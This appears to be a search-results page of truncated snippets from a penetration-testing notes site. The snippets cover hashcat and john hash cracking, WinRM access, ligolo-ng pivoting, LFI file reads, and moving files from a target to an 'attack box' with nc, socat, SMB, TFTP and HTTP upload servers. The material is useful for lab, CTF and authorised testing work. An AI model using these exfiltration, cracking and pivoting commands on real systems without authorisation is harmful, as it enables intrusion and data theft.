Search Results

Find Hash Format Modules Find supported hash types hashcat -hh | grep -i <hash_type> Show info about the SHA-256($pass.$salt) mode hashcat --hash-info -m 1410 Example.Hash........: 5bb7456f43e3610363f68ad6de82b8b96f3fc9ad24e9d1f1f8d8bd89638db7c0:12480864321 N...

Find Hash Format Modules Find supported hash types # Field 1 is the Format label # Field 7 is the Algorithm name john --list=format-details --format=all | cut -f 1,7 | grep -i <hash_type> Show information about the netntlmv2 format john --list=format-all...

Linux Host Connecting to Windows Host Users may be able to get WSMan remoting to work using the PSWSMan module. This module isn't supported or maintained by Microsoft.-- https://learn.microsoft.com/en-us/powershell/scripting/security/remoting/wsman-remoting...

Attack Box Running FTP Server sudo apt install -y python3-pyftpdlib # Show help message sudo python3 -m pyftpdlib --help # Mount the /tmp directory read/write on Kali with anonymous login sudo python3 -m pyftpdlib -d /tmp --write --port=21 # Mount th...

Listener on Attack Box File from Target to Attack Box nc -lnvp 53 -q 3 > /tmp/got-the-file Start a listener on the attack box and redirect output nc -q 3 -nv attack-box-ip 53 < /path/to/file Connect to the listener and pull in the file File to Target fro...

SCP Syntax Review The most fundamental syntax for using scp is this: # Password Authentication # ----------------------- # Transfer from Local to Remote scp [local path] [username]@[target-ip]:[remote-path] # Transfer from Remote to Local scp [userna...

SMB Server on Attack Box For this, we can use Impacket's smbserver.py script to run an ad-hoc SMB server. There are two required arguments: Share Name Share Path You can also configure the SMB server with: Username + Password authentication NTLM ha...

Cleartext File Transfer Listener on Attack Box # Start a listener on the attack box and create a file when received socat TCP4-LISTEN:<port>,fork file:/tmp/got-the-file,create # Connect and transfer the file to your attack box socat TCP4:attack-box-ip:<port> f...

If the target has a TFTP client installed, Metasploit has a TFTP server you can run ad-hoc on your attack box to transfer files https://www.rapid7.com/db/modules/auxiliary/server/tftp/ Attack Box Side # Start Metasploit Framework sudo msfconsole # Start ...

HTTP POST (Upload to Attack Box) Server Side (Attack Box) Python Server Python HTTP Upload Server Source Code (Show / Hide) #!/usr/bin/env python3 import os import argparse from http.server import HTTPServer, BaseHTTPRequestHandler class SimpleUploadHandler...

WinRM runs on TCP port 5985 for unencrypted sessions and 5986 for encrypted sessions. # Open a PSSession on the target host $computerName = 'computer_name_here' # Kerberos requires a FQDN, NTLM uses IP address $credential = Get-Credential # Username and pas...

Project Github https://github.com/hashcat/maskprocessor Example Usage You have a base password / phrase with dynamic alphanumeric / symbolic suffix A password / phrase is a pre-determined length, and you need to generate a dynamic word list from a spec...

Example Hash Hash is from a recent CTF and therefore, there are no concerns with making it public pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978 Formatting for Hashcat Hashcat Requirements Show Example H...

Project GitHub https://github.com/nicocha30/ligolo-ng Download Binaries https://github.com/nicocha30/ligolo-ng/releases Proxy Requires user to create a tun interface Traffic flows through tun interface, like a VPN ⚠️Requires root access on the host, in orde...

Context I created this page for some quick reference commands to check network configurations and states on a host where certain tools such as ip, ifconfig, netstat, ss, arp, route, etc are not available on the target; as tends to be the case in containerized...

Current User Example would be if you have LFI or some other means to read from the local file system, this would tell you who the process is running as, allowing you to determine if you can read sensitive files # Reading /proc/self/status curl -s 'http://lo...

Problem evil-winrm works great in a pinch, but is often very buggy, so I've documented some workarounds that may be worth exploring. Solutions evil-winrm-py Project GitHub: https://github.com/adityatelange/evil-winrm-py sudo apt install gcc python3-dev ...

Hash Format Details john --list=format-all-details --format=PBKDF2-HMAC-SHA256 Example ciphertext $pbkdf2-sha256$1000$b1dWS2dab3dKQWhPSUg3cg$UY9j5wlyxtsJqhDKTqua8Q3fMp0ojc2pOnErzr8ntLE ^ ^ ^...